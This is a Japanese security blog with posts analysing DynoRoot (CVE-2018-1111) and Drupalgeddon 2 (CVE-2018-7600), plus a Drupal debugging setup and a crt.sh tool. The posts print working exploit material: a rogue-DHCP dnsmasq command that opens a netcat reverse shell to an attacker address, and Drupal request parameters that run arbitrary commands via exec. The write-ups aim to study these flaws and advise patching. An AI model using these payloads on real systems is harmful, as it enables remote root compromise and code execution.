knqyf263's blog

自分のためのメモとして残しておくためのブログ。

DynoRoot (CVE-2018-1111) について調べてみた

DynoRoot (CVE-2018-1111) という脆弱性が公開されていたので調べてみました。 公開された日は時間取れませんでしたが、昨日は少し時間あったので試したりしました。 業務としてやってるわけじゃないので隙間時間にちょっとずつ進めた感じです。

概要

Red Hat Enterprise Linux 6/7に影響するCVE-2018-1111という脆弱性が公表されました。

CVE-2018-1111 - Red Hat Customer Portal

dhclientがNetworkManagerに提供しているスクリプト脆弱性があったようです。 DHCPクライアントの脆弱性になります。 DHCPクライアントがDHCPサーバから受け取ったDHCPのオプションを処理する際にバグが有り、任意コマンド実行が可能になっています。 NetworkManagerの権限で実行されるため、root権限での実行になります。

攻撃するためにはDHCPサーバになりすます必要があり(同一セグメントにいて正規のDHCPサーバより早く応答することでも攻撃可能)、攻撃可能なのは隣接ネットワークからになるため危険度は低いかなと思っています。 ですが環境によっては致命的なこともあると思いますので、各種情報を確認して判断して下さい。

セキュリティアップデートが公開済みなので、パッチを適用することで脆弱性を回避可能です。 変更は1行のみなので影響が出ることもないかと思います。 修正済みのバージョンについては上記URLからアドバイザリを確認して下さい。

詳細

ということで攻撃を試しつつ今回の脆弱性について見ていきます。

環境

RedHatという高尚なものは持っていないのでCentOSで試しました。 基本的に利用しているスクリプトは一緒だし動くだろーと思って雑に試したら動いた感じです。 CentOS 6系では異なると思いますが、基本的に以下ではCentOS 7で解説しています。

パッチ

CentOSのものになりますが、今回の修正は以下になります。

rpms/dhcp.git - git.centos.org

11-dhclientというファイルの

while read opt; do

の箇所を

while read -r opt; do

に変えただけですね。1行どころか2文字足しただけです。

11-dhclientはどこにあるかというと以下です。

# cat /etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"
...snip...

該当箇所はevalの中のようです。

Exploit

上記を頭に入れた上でExploitを見てみます。 Twitterで公開している人がいました。

こんなのよくシュッと出してくるなーという気持ちですが、とりあえず本体は以下のコマンドのようです。

$ dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

dhcp-optionのところでコマンドが指定されています。

これを実際に試してみますが、説明が面倒なので例によって環境を作って置いておきました。 試したい人はどうぞ。

github.com

まとめると、victimなCentOSからdhcpIPアドレスを取りに行く時に、attackerが悪意のあるdhcp-optionを指定して応答すると任意コマンドが実行される、という流れになります。 ネットワーク関連の設定で色々ハマりやすいのでdocker-compose upで出来るようにしておきました。

詳細

先程のevalの中を見てみます。 declare コマンドでシェルの変数を全て表示して DHCP4_ から始まるものをreadしてwhileの中に渡しています。

このスクリプト内でdeclareの結果をdumpしてみると以下のようになります。 ちなみにこの変数がどこで定義されているかまでは調べてないので誰かの報告を待ちます。

DHCP4_BROADCAST_ADDRESS=10.10.0.255
DHCP4_DHCP_LEASE_TIME=3600
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_REBINDING_TIME=3150
DHCP4_DHCP_RENEWAL_TIME=1800
DHCP4_DHCP_SERVER_IDENTIFIER=10.10.0.3
DHCP4_DOMAIN_NAME_SERVERS=10.10.0.1
DHCP4_EXPIRY=1526609756
DHCP4_HOST_NAME=victim
DHCP4_IP_ADDRESS=10.10.0.11
DHCP4_NETWORK_NUMBER=10.10.0.0
DHCP4_NEXT_SERVER=10.10.0.3
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=10.10.0.1
DHCP4_SUBNET_MASK=255.255.255.0
DHCP4_WPAD=foo

--dhcp-option として渡した値が変数として定義されています。 --dhcp-option の252はWPADの設定になるので、WPADのところを見てみると以下のようになっています。 これは攻撃じゃなく普通の値を渡した場合になります。

DHCP4_WPAD=foo

ではExploitの値を指定した場合と比較しましょう。

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'

途中にシングルクォートが入っています。 結論から言えば、このシングルクォートでexportから抜け出してコマンドが実行されています。

先程のevalから見にくいのでevalを削ったスクリプトを作って実行してみます。

$ cat vuln.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

これを実行すると以下のようになります。

$ ./vuln.sh
export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'

実際のスクリプトでは、この結果をさらに$()で囲ってevalしています。 つまり簡潔に書けば以下になります。

$ eval "$(echo "export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'")"

これはシングルクォートでexportが閉じているため、exportコマンドとncコマンドの2つが実行されます。 この2つめを自由に指定できるため、任意コマンド実行が可能ということになります。

yarrakの後ろの1つめのシングルクォートで一旦閉じて、2つめのシングルクォートも3つめのシングルクォートで閉じて、単に文字列連結になって終了という感じです。

以下とかを見ると分かりやすいかもしれません。

$ export new_wpad='yarrak''a'
$ echo $new_wpad
yarraka

ちなみにexportしたあとを & にしてますが、 ; とかでも良いです。というかこういう時に & でいけるんだな、という感じでした。 バックグラウンド実行するときは一番最後に & 置いてましたが、途中に置いても区切りとして認識されて次のコマンドが実行されるんですね。

あと nc -e もめっちゃ便利ですね。。ただ危険だからか、標準で入ってるやつには -e オプションなかったので攻撃に使えない場合もあるかもしれません。

ということで攻撃の概要としては以上です。

次に修正後について見てみます。

$ cat fixed.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\;nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
$ ./fixed.sh
export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'

-r がついているので、バックスラッシュがそのままになっています。 これをevalしてみます。

$ eval "$(echo "export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'")"
$ declare
...
_='export new_wpad='\''yarrak\'\''\'\'''\'';nc -e /bin/bash 10.10.0.3 1337 #'\'''
...

シングルクォートを抜けられず後ろのコマンドも変数に入ってしまっています。 ですが、bashでシングルクォートのエスケープしたことある方はご存知かと思いますが、あまり単純な話ではありません。

以下はうまくいきません。

$ echo 'abc\'def'

正しくエスケープするためには一旦閉じて、 \'エスケープしたあと文字列を再開する必要があります。

$ echo 'abc'\''def'

これを踏まえて上を見るとyarakのあとのバックスラッシュは無視されて、次のシングルクォートで一旦文字列が閉じます。 次に \' によってシングルクォートになります。 そして次のシングルクォートで文字列が再開され、仕込んだコマンドは文字列の中に入ってしまいます。

このようにシングルクォートを抜けられなくなったため、コマンドが実行されなくなりました。

とはいえ、何か複雑なので頑張れば抜けられるのでは...?という気持ちも少しあります。

まとめ

DynoRoot (CVE-2018-1111) について調査しました。 root権限で任意コマンド実行可能ですが、DHCPの応答として悪意あるパケットを返す必要があり、一般的な構成であればネットワークの外から攻撃可能ではないはずなので危険度は低めかなと思っています。 実際に試したら簡単に成功しました(環境を準備するのは大変だったけど)。 evalはやはり危険だなーという気持ちです。

Drupalの脆弱性調査をするための最高の環境を整えた

Dockerで動かしたDrupalをPhpStormからリモートデバッグ出来るようにした話です。 Drupalって書いてますがPHPのソフトウェア全般に使える話です。

勢いで最高とか言いましたが、さっきドキュメントを読んでいたら以下の方法よりもっと簡単にやれる方法がありそうなので、また分かったら後日書きます。

概要

先日、Drupalgeddon 2(CVE-2018-7600)の脆弱性について調査したのですが、全部Dockerでvar_dumpで頑張ってたら非常に大変でした。

PhpStormとかIDEでデバッガ使いたいなーと思って、実際にやったら便利になった、という記事です。以前Tomcatの時に同じことやっているのでPHP版ですね。

背景

あんまり環境構築には関係ないので興味ない人はスルーで良いです。

脆弱性調査をするエンジニアの特徴として、複数のバージョンを試したりする必要があるため、直接PC上にインストールするのは難しいという事情があります(環境が汚れると別のバージョン入れたらうまく行かなくなったりするので)。
また、PHPのバージョンも変えたいな〜とかなるともうしんどいです。phpenvとかはもちろんありますが、掛け算で組み合わせあるのでよく分からなくなってきます。
他の人も調査したいって言ったときに環境を説明するのも面倒です。あとは手順渡してもうまくインストールできなかった、とかもあります。

これらを考えるとDockerは脆弱性調査をするエンジニアにとってはこれ以上無いツールです。3年ぐらい前からDockerを使って調査をしてたのですが、ここらへんかなり知見をためつつあるのでどこかで話そうかなーと思ったりもしてます。

ただし、デバッグがしにくい問題もあります。いちいちコンテナに入ってvimで編集したりしていて、環境構築のコストは下がるけど結局調査のコストが高いままだな...と思っていました。しかし脆弱性調査は急にやってくるため、環境構築に時間をかけすぎるわけにもいかず結局vimで頑張って終わることが多かったです。
そして一度調査が終わってしまうとリモートデバッグとかの構築するの面倒になって、いつもやらずに終わってました。
しかし今回、Drupalが短い期間で再度脆弱性を公表するということで、やる気を出して設定してみました。 一度やったらかなり便利になったので共有です。

詳細

DockerでDrupalを動かして、それをPhpStormでデバッグしたいなーと思ったのですが、以下の記事は非常に参考になりました(ありがとうございます)。

blog.shin1x1.com

Xdebugを動かしてリモートデバッグする方法になります。
自分はMacでPhpStormを起動して、Docker上のDrupalをリモートデバッグしてみました。

環境

サンプル

いつでも簡単に試せるようにセットをGitHub上に置いておきました。 github.com

以下みたいな感じで打てば使えると思います(多分)。
何やってるかについて次から説明していきます。

$ git clone https://github.com/knqyf263/docker-drupal.git
$ cd docker-drupal/8.5.2/docker
$ ./install.sh
$ cd ..
$ docker-compose up -d

Dockerイメージ作成

今回のやり方としては、MacDrupalソースコードを落としてDockerにマウントする形になります。そのため、既存のdrupalのイメージは使わずに自分で作りました(xdebugもインストールしたかったので)。

本当はDrupalのダウンロードも含めてDockerfileに書きたかったのですが、Docker上のファイルをMac側にマウントする方法がわからず断念しました。もしご存じの方がいたら教えてください。

作ったのは以下のDockerfileになります。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/Dockerfile

あとはMac上にDrupalソースコードをダウンロードしておく必要があるので、適当なシェルスクリプトを書きました。 Drupalのバージョンは8.5.2になってますが、簡単に変えられるようになっています。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/install.sh

docker-compose.yml作成

今回はコンテナ一つですが、マウントの設定など覚えておくの面倒なのでDocker Composeを使います。

ファイルは以下になります。

https://github.com/knqyf263/docker-drupal/blob/master/docker-compose.yml

単に上で作ったDockerイメージを起動してるだけです。

起動します。

$ docker-compose up -d

Xdebugの設定

php.iniでXdebugを有効にする設定をします。

以下のような感じ。

https://github.com/knqyf263/docker-drupal/blob/master/docker/php.ini

xdebug.remote_hostをdocker.for.mac.host.internalにしてます。Docker内からMacIPアドレスを解決するときに使えるドメイン名なのですね。今回初めて知りました。

PhpStormの設定

プロジェクトのトップディレクトリをPhpStormで開きます。

Remote Debug

先程の参考サイトを見てもらったほうが早いですが、一応メモがてら残しておきます。

まず「Run」→「Edit Configurations」を開きます。

f:id:knqyf263:20180425175850p:plain

左上の「+」を押して「PHP Remote Debug」を選択します。

f:id:knqyf263:20180425185431p:plain

Serverの右の「...」を押すとウィンドウが開くので、左上の「+」を押して追加します。

以下のように設定します。

Host: localhost
Port: 8000
Debugger: Xdebug

そして、「Use path mappings」でdrupalソースコードが入っているディレクトリを /var/www/htmlマッピングします。

以下の画像のようになります。

f:id:knqyf263:20180425185839p:plain

「OK」で戻ったあと、「Server」が先程作ったものになっているか確認します。

Ide keyはphp.iniで指定したものにします。 php.iniで書かなければこっちも設定要らないのですが、何となく設定してみました。

あとは「Name」を適当につけると以下のようになります。

f:id:knqyf263:20180425190222p:plain

これで設定は完了です。

実行

「Run」→「Start Listening for PHP Debug Connections」にチェックを入れます。これによりXdebugのサーバが立ち上がります(多分)。

f:id:knqyf263:20180425190456p:plain

あとはブレークポイントを貼ってリクエストを投げるだけです。 PhpStormでデバッグボタンとか押さなくても勝手にデバッグモードになります。

任意コードが実行される瞬間も丸見えですね。

f:id:knqyf263:20180425190856p:plain

まとめ

Drupal脆弱性調査用の環境を整えました。
Drupalに限らずPHP全般に使えるため、今後楽になりそうです。

今日の深夜にDrupal脆弱性が新しく公表されるらしいので、早く寝て早く起きて環境を整えて待ちましょう。

Drupalgeddon 2(CVE-2018-7600)について調べてみた

少し前に出たDrupal脆弱性(CVE-2018-7600)ですが、攻撃コードも出たので調査し直しました。 まだ分かっていないところもあるのですが、一旦まとめておきます。 ツッコミ歓迎です。

概要

Drupal は 2018年3月28日 (現地時間) にセキュリティアドバイザリ情報(SA-CORE-2018-002) を公開しました。公開された情報によると Drupal には、リモートから任意のコードが実行可能となる脆弱性 (CVE-2018-7600) が存在し、この脆弱性を悪用することで、遠隔の第三者が、非公開データを窃取したり、システムデータを改変したりするなどの可能性があるとのことです。 (https://www.jpcert.or.jp/at/2018/at180012.html より引用)

影響があるバージョンは以下です。

  • Drupal 8.5.1 より前のバージョン
  • Drupal 7.58 より前のバージョン

任意コード実行なので危険度は高いです。exploitコードも公開されたため、もし利用している方は早急にアップデートしたほうが良いです。

修正内容

Drupalチームによるパッチは以下になります。

github.com

RequestSanitizerというクラスが作られ、preHandleという箇所で呼ばれています。 このpreHandleは名前からわかるように、リクエストに必ず適用される処理のようです(本当に必ずかはコード読んでないですが、デバッグした感じは毎回通ってました)。

そして重要な処理は以下になります。

SA-CORE-2018-002 by Jasu_M, samuel.mortenson, David_Rothstein, xjm, m… · drupal/drupal@19b69fe · GitHub

if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
    unset($input[$key]);
    $sanitized_keys[] = $key;
}

key名が#から始まってたら、そのキー名は除くようになっています(ホワイトリストに登録されているものは許可されています)。

そして、この stripDangerousValues はGET/POST/Cookieのそれぞれについて適用されるようになっています。 このパッチから、#で始まるパラメータが渡ってくるとまずいことになる、というのが想像できます。

DrupalにはForm APIというものがあり、簡単にフォームを作ることができるようです。

Form and render elements | Drupal 8.5.x | Drupal API

このForm APIはmetadataとして、内部で#を利用しておりPOST等でそれを上書きできると想定しない挙動を引き起こすことが出来るのかな?という予想ができます。

その予想を基に自分でもexploitを書くべく結構数時間ぐらい頑張ったのですが、全然書けず諦めました。buildFormとか周りでcall_user_funcしてるし怪しいな〜と思ってデバッガ使ったりして追っていたのですがたどり着けず。。

攻撃コード

以下で解説されていました。基本的に以下の説明はDrupal8に関するものになります。

Uncovering Drupalgeddon 2 - Check Point Research

先にまとめておくと、認証不要なユーザ登録ページに対して任意コード実行可能な攻撃コードとなっているため、特に前提条件なく影響を受けるのではないかと思います。ですが、payloadとしては特徴的になるのでアップデートできない環境でも対策の方法は色々ありそうです。

以下で詳細についてまとめますが、かなり詳細なので興味ある人以外は読まなくて良いと思います。

Render arrays

攻撃可能なのはRender arraysと呼ばれるarrayのようです。このarray内の属性に応じてHTMLが動的に組み立てられる感じかと思います。

Render arrays | Drupal 8 guide on Drupal.org

このarrayはRender APIで利用されるようですが、上記の解説ブログにはRender APIについて書かれておらず、Form APIと書かれているようなのでよく分からなくなりました。

このRender arraysはRender APIとForm APIで共通して使われるもののようですが、今回悪用されているパラメータはRender APIで利用されるものですし、実際に攻撃が刺さるのも core/lib/Drupal/Core/Render/Renderer.php とかなので、Render API脆弱性なんじゃないかと思っていますが、Drupal詳しくないのでよく分かってないです。

Render arrays内の属性は上記のドキュメントにあるように、 #type のように#から始まります。 脆弱性の概要としては、この#から始まるパラメータを送信することで、このRender arrays内の属性を不正に書き換えることによる脆弱性、ということになります。 概要だけ見れば知ってた、って感じですが実際に攻撃に繋げるのは予想より大分難しかったですね。

上記の解説によると、emailのフィールドはサニタイズされておらず、POSTによってmailのarrayに#から始まる値を注入できたとのことです。 https://research.checkpoint.com/wp-content/uploads/2018/04/Fig3.png

しかし、今度はそのarrayをレンダリングする必要があります。これが難しい。。

結論としては、DrupalAjax APIで画像をアップロードする箇所に脆弱な箇所がありました。 ただ、多分ここだけじゃないと思っています。追記するかもしれません。

uploadAjaxCallbackを見ると、GETパラメータのelement_parentsを取り出し、それをrenderRootレンダリングしていることが分かります。 なので、element_parentsに先程注入したarrayを呼ぶようなパラメータを渡してあげれば良さそうです。

  public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');
    $form_parents = explode('/', $request->query->get('element_parents'));
    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);
    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }
    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);
    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);
    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

drupal/ManagedFile.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

以下でexploitコードが公開されているので、こちらを見ると element_parents=account/mail/%23value のようにして渡してあげると良いようです。

github.com

これで無事に渡したarrayがレンダリングされます。 あとは任意コードを実行するだけです。 任意コード実行するために利用できそうなパラメータは4つある、とのことでした。

  • #access_callback
  • #pre_render
  • #lazy_builder
  • #post_render

post_render編

このうち、上記のexploitコードでは #post_render を利用しています。 実際に攻撃が発動するのは以下になります。

    if (isset($elements['#post_render'])) {
      foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func は危険ですね。こいつの第一引数に呼ぶ関数を渡せます。マニュアルは以下。

PHP: call_user_func - Manual

なので、$callable に例えばexecを渡してあげればOSコマンドが実行できそうです。 $elements['#post_render']をforeach文で回していることから、ここにはarrayが入る必要があります。 そこで、'mail[#post_render][]': 'exec' のような感じでarrayになるようにPOSTのパラメータを調整します。

そして肝となるのは第二引数です。ここに実行するコマンドを渡す必要があります。 Drupalのコードを見ると $elements['#children'] となっています。では#childrenで入れれば良いのかというと、そんなに簡単ではありません。 直前のコードを見ると $elements['#children'] に代入等を何箇所かで行っているため、外からPOSTで渡してもcall_user_funcに到達する前に値が変わってしまいます。

では先程のexploitでどうやっているかというと、'mail[#markup]': 'echo ";-)" | tee hello.txt' のようにしています。 実は、#markupに入れておくと #childrenに入ります。

    if (!$theme_is_implemented && isset($elements['#markup'])) {
      $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

#children の中身を見てみます。

  '#children' =>
  Drupal\Core\Render\Markup::__set_state(array(
     'string' => 'echo ";-)" | tee hello.txt',
  )),

上記のように、Markupクラスになっていることが分かります。 上でMarkup::createしているので当然ではあるのですが、stringではないためexecに渡してもコマンドは実行されなさそうに見えます。 そこでMarkupクラスを覗くとMarkupTraitをuseしていることが分かります。

final class Markup implements MarkupInterface, \Countable {
  use MarkupTrait;
}

drupal/Markup.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

そしてMarkupTraitを覗くと、__toString() が定義されていることが分かります。

  public function __toString() {
    return $this->string;
  }

drupal/MarkupTrait.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

この __toString() のおかげで、call_user_funcに渡しても暗黙的にstringとして扱われて実行されます(多分)。 少なくとも __toString() を実装したクラスであればexecの引数として渡しても実行されました(__toString()がないと実行されなかった)。

ということで、無事にexecに任意の文字列を渡すことが出来たため、任意コード実行可能になりました。 まとめると、

user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax といった感じでGETのクエリストリングを指定して自分の注入するarrayをレンダリングさせつつ、{'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} のように #post_render に実際に実行して欲しいコード(関数)を入れる感じです。#markup にそのコマンドの引数を入れておきます。

おまけ:PHPバージョンでの差異

実は上記のexploitはPHP 7.2などでは動作しますが、PHP 7.0系では動作しません。 というのは、call_user_funcの挙動が異なるためです。 上に載せたDrupalのコードでは、第三引数に$elementsという余計なものが渡されています。

$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);

これがあると、PHP 7.0系ではうまく実行されません。 以下のようなサンプルのファイルを適当にtest.phpとかで保存します。 このファイルではcall_user_funcの最後に $a という余計なarrayを渡しています。

<?php

$a = array("a"=>"b");

call_user_func("exec", "wget http://example.com", $a);

これをPHP 7.0系で実行すると、Warningが出るだけで実行されません。 しかし、PHP 7.2系ではwgetが実行されます。

$ php test.php
Warning: Parameter 2 to exec() expected to be a reference, value given in /tmp/test.php on line 5

そのような違いから、DrupalのバージョンだけでなくPHPのバージョンによる差も生まれています。

lazy_builder編

ブログではlazy_builderを使っていましたので、そちらでの攻撃も試してみたいと思います。

まず、先程と同様、lazy_builderがcall_user_funcに渡される場所を探します。 すると、以下でcall_user_func_arrayに渡されていることがわかります。

    if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func_arrayは名前から分かる通り、call_user_funcの引数がarray版ですね。 コードを読むとわかりますが、0番目をcallableにして、1番目をargsにしています。 先程のpost_renderより簡単そうですね。

ということで、exploitを書き換えて試してみましょう。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1]': 'whoami'

上のように#lazy_builder に指定します。

[Fri Apr 13 17:21:53.742017 2018] [php7:notice] [pid 391] [client 172.17.0.1:38562] Uncaught PHP Exception DomainException: "A #lazy_builder callback's context may only contain scalar values or NULL." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 315

するとエラーで怒られます。確かにargsはarrayじゃないとダメでした。ということで修正します。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1][]': 'whoami'

argsの方がarrayになるように修正しました。すると今度は違うエラーが出ます。

[Fri Apr 13 17:23:00.624109 2018] [php7:notice] [pid 392] [client 172.17.0.1:38564] Uncaught PHP Exception DomainException: "When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: #suffix, #prefix." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 333

許可されていないkey名が存在するぞと言われています。該当箇所を見ると以下のようになっています。

      $supported_keys = [
        '#lazy_builder',
        '#cache',
        '#create_placeholder',
        // The keys below are not actually supported, but these are added
        // automatically by the Renderer. Adding them as though they are
        // supported allows us to avoid throwing an exception 100% of the time.
        '#weight',
        '#printed'
      ];
      $unsupported_keys = array_diff(array_keys($elements), $supported_keys);
      if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

確かに#prefix#suffix は許可されていません。 しかし、いつ勝手に付与されたのか不明なので調べてみると上で貼った uploadAjaxCallback の中にありました。 しかもrenderRootの前に呼ばれており、この#prefixがkeyとしてセットされないようにするのは難しそうです。

$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

$elementsをdumpしてみると、たしかに#prefixや#suffixが入っています。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'whoami',
    ),
  ),
  '#suffix' => '<span class="ajax-new-content"></span>',
  '#prefix' => '',
  '#cache' =>
  array (
    'contexts' =>
    array (
      0 => 'languages:language_interface',
      1 => 'theme',
      2 => 'user.permissions',
    ),
  ),
)

自分はここで詰んだのですが、ネット上をパトロールしていたところどうやらrender関数は再帰的にchildrenも呼んでくれるようです。 以下のコードを見ると、確かに$childrenに対してforeachを回してdoRenderしています。

    if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) {
      foreach ($children as $key) {
        $elements['#children'] .= $this->doRender($elements[$key]);
      }
      $elements['#children'] = Markup::create($elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

$childrenは以下で取得しています。

    // Get the children of the element, sorted by weight.
    $children = Element::children($elements, TRUE);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

なので、#lazy_builderはさらにchildrenに入るようなリクエストにしてあげると良さそうです。 つまり以下のようになります。

'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'echo vuln > hello.txt'

そうすると以下のような綺麗な状態で$elementsに渡ってくるため、無事に #lazy_builder で発動します。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'echo hello > hello.txt',
    ),
  ),
)

ということで無事に成功しました。 こちらはPoCが見つからなかったので自分で作成したものを置いておきました。

github.com

さらに、こちらだとcall_user_funcの挙動の差異の影響を受けないため、PHP 7.0系でも刺さります。

検証

自分のやった検証の方法も一応載せておきます。

$ docker run -d --name drupal -p 8080:80 drupal:8.5.0-apache

この状態で、http://localhost:8080 にアクセスしてDrupalの初期セットアップを行います。 それが済んだら先程の自分のexploitを実行するだけです。

$ python3 exploit.py

まとめ

Drupalの任意コード実行の脆弱性が公開されて自分でもPoCを書こうと頑張ったのですが無理でした。 PoCが公開されたと聞いて悔しい気持ちを抱えつつ内容を見たのですが、これはDrupalを深く知らない自分では気づくの無理だな...と思いました。 かなりいろんな制約をかいくぐって任意コード実行まで漕ぎ着けており、不覚にも美しさを感じました。

危険度がよりいっそう高まったので、Drupal利用者は早急にアップデートしましょう。

Certificate Transparencyのログサーバからドメイン名一覧を取得してみた

Certificate TransparencyについてSCT埋め込まれてるんだなーぐらいのふわっとした理解だったので勉強し直していたのですが、ログサーバは誰もでアクセス可能だからログサーバに登録されている証明書からドメイン名の一覧を取得できてしまう、というのを見て自分でも試してみました。

有識者の間では常識みたいなので、特に大した内容ではないです。

概要

Certificate Transparency(CT)の説明は参考ページなどを見てもらうとして、今回はログサーバからドメイン名を取得できてしまう問題について試してみます。 ということで数日前ぐらいからログサーバからひたすらデータを引っ張ってくるやつを作ってみようと思っていたら、既にあることを昨日知りました。

crt.sh

なのでここで検索してみれば終わりって感じなのですが、CLIにしておくといつか使えるかなと思って作りました。

参考

詳細

crt.shというところがCTのログサーバからデータを貯めておいてくれているようです。そしてこいつがどうやらJSONでの出力に対応しているようなので、API的に使ってCLIを作りました。

github.com

以下のように --domain のオプションに渡すと、それにマッチするドメイン名を全て取得してくれます(もちろんログサーバに登録されてるものだけですが)。

$ crtsh search --domain %.example.com
+----------------------+--------------------------------+---------------------+
|         NAME         |             ISSUER             |     NOT BEFORE      |
+----------------------+--------------------------------+---------------------+
| www.example.com      | C=US, O=DigiCert Inc,          | 2014-11-06T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| www.example.com      | C=US, O=DigiCert Inc,          | 2015-11-03T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| dev.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
